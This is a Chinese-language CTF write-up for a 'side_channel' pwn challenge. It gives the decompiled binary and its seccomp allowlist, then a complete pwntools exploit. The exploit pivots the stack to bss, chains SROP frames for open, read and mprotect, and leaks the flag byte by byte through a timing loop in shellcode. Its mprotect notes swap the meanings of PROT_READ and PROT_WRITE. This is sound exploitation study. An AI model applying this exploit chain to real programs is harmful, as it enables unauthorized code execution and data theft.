side_channel libc 2.37
检查
禁用了write,能用open和read和mprotect
IDA源码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
sub_401448();
sub_40136E();
return 0LL;
}
int sub_401448()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
__int64 sub_40136E()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF
v2[0] = 0x6F6E6B2075206F44LL;
v2[1] = 0x6920746168772077LL;
v2[2] = 0xA3F444955532073LL;
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
sub_40119E();
syscall(0LL, 0LL, v1, 58LL);
return 0LL;
}
__int64 sub_40119E()
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 10LL, 0LL) < 0 )
{
perror("seccomp_rule_add");
exit(1);
}
result = seccomp_load(v1);
if ( (int)result < 0 )
{
perror("seccomp_load");
exit(1);
}
return result;
}
思路
和上题差不多,但需要测信道爆破和mprotect修改内存段属性
通过栈迁移到bss上去,然后通过SROP依次调用open,read,mprotect,shellcode
使用完mprotect后,即syscall完后pop rbp,ret,此时ret时的栈顶为shellcode在bss上的地址
选择合适的syscall的gadget
使用ROPgadget没有找到
但是查看IDA中却有,算作一个教训吧
寻找可写入shellcode的内存区间
写入并执行shellcode,那么意味着该区间需要w和x,观察全部,发现没有符合的,此时需要修改内存段的权限才行
mprotect()修改属性
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
注意这里start要为某页的起始地址,len需要为页大小的整数倍
注意即使原来属性有 PROT_READ和 PROT_WRITE,当使用mprotect时参数如果为PROT_EXEC,那么将只存在PROT_EXEC属性,如果此时有访问或者写的操作将会引发异常
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
-
PROT_READ:表示内存段内的内容可写;
-
PROT_WRITE:表示内存段内的内容可读;
-
PROT_EXEC:表示内存段中的内容可执行;
-
PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:
1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 不是一个有效的指针,指向的不是某个内存页的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。
exp
注意flag为“”与字符相加时才可以通过print输出字符,flag为0与字符相加时不会输出
from pwn import*
context(os="linux",arch="amd64")
#gdb.attach(f, "b main")
flag=""
for one in range(0,40):
for two in range(0x20,0x80):
try:
f=process("./chall")# 创建了一个进程
leave_ret=0x401446
bss=0x404060
mov_rax_0xf=0x0000000000401193
syscall_pop_rbp_ret=0x000000000040118A
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=bss
fram_open.rsi=constants.O_RDONLY
fram_open.rip=syscall_pop_rbp_ret
fram_open.rsp=bss+248+16+8
fram_read=SigreturnFrame()
fram_read.rax=constants.SYS_read
fram_read.rdi=3
fram_read.rsi=bss
fram_read.rdx=40
fram_read.rip=syscall_pop_rbp_ret
fram_read.rsp=bss+248+16+248+16+16
shellcode='''
loop:
cmp byte ptr[0x404060+{0}], {1}
jz loop
'''.format(one,two)
shellcode_address=bss+248+16+248+16+16+24+248+16
fram_mprotect=SigreturnFrame()
fram_mprotect.rax=constants.SYS_mprotect
fram_mprotect.rdi=0x404000 #为页的起始地址
fram_mprotect.rsi=0x1000
fram_mprotect.rdx=constants.PROT_EXEC|constants.PROT_READ|constants.PROT_WRITE
fram_mprotect.rip=syscall_pop_rbp_ret
fram_mprotect.rsp=bss+248+16+248+16+16+24+248
payload1=b"./flag"+2*b"\x00"+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_open)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_read)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_mprotect)+p64(0)+p64(shellcode_address)+asm(shellcode)
f.sendlineafter(b"easyhack\n",payload1)
payload2=0x2a*b"a"+p64(bss)+p64(leave_ret)
f.sendlineafter(b"Do u know what is SUID?\n",payload2)
f.recv(timeout=1)
f.close()
flag=flag+chr(two)
print("flag:",flag)
one=one+1
break
except:
pass
f.close()# 不关闭导致运行的进程过多而停止
two=two+1